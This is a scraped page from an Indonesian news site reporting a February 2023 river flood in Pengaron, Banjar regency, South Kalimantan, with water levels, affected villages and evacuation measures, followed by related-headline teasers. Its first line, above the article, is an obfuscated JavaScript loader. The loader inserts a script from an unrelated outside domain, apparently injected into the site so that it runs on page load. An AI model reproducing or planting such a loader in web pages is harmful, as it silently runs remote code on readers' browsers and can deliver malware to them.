(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Wilayah Kecamatan Pengaron, Kabupaten Banjar, Provinsi Kalimantan Selatan (Kalsel) kembali dilanda banjir besar luapan air Sungai Riam Kiwa, Minggu (26/2/2023) siang.
Hingga sore, debit air di sejumlah desa di Kecamatan Pengaron diketahui mengalami penurunan dibandingkan pagi dan siang hari.
Meskipun demikian, penurunan debit air terbilang lamban dan penurunan muka air masih sedikit. Sejumlah desa di Kecamatan Pengaron masih direndam air.
Sementara itu, sejumlah pihak seperti Kepolisian, TNI hingga instansi kecamatan, hari ini melakukan pemantauan ke sejumlah desa dan wilayah yang terdampak banjir.
Baca juga: Profil KH Ali Yafie, Mantan Ketua MUI-Rois Aam PBNU Berpulang ke Rahmatullah Hari Ini
Menurut pantauan relawan, air masih menggenangi akses jalan utama di Kecamatan Pengaron yaitu di Desa Tunggul Nangka dengan ketinggian mencapai 100 centimeter.
“Tepatnya di samping rumah Pembakal Pengaron dengan ketinggian air mencapai 100 centimeter, sehingga akses jalan tidak dapat dilewati oleh kendaraan roda dua maupun roda empat,” ujar Kapolsek Pengaron, Ipda H Sahril yang melakukan pemantauan di Kecamatan Pengaron, Kabupaten Banjar pada Minggu (26/2/2023).
Sementara pada pukul 13.00 Wita siang, ketinggian air mencapai 195 centimeter.
Ketinggian itu cenderung menurun dibandingkan pada pagi hari pukul 09.00 Wita di mana ketinggian air mencapai 210 centimeter.
“Dengan kedalaman banjir kurang lebih dua meter itu kami sekaligus mengevakuasi anak-anak yang sedang menyeberang di jalur banjir,” sebutnya
Tak hanya menggenangi jalan utama, banjir juga turut menggenangi permukiman warga yang berada persis di sepanjang aliran Sungai Riam Kiwa.
Seperti di Desa Benteng, Desa Pengaron, Desa Lok Tunggul, Desa Lobang Baru, Desa Mangkauk dan Desa Lumpangi. Dimana ketinggian air bervariasi, dari 10 centimeter hingga mencapai 100 centimeter.
“Untuk desa-desa lainnya kita terus melakukan pemantauan, harapan kami agar masyarakat tetap waspada dan segera mengungsi apabila genangan air mulai bertambah dalam,” ungkapnya
Baca juga: Kolonel Herbiyantoko Serahkan Jabatan Danlanal Banjarmasin
Lebih jauh hingga saat ini diketahui belum ada laporan warga yang ingin mengungsi.
Untuk sementara Forkopimcam Pengaron telah membuka posko pengungsian dan dapur umum di kantor Kecamatan Pengaron. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.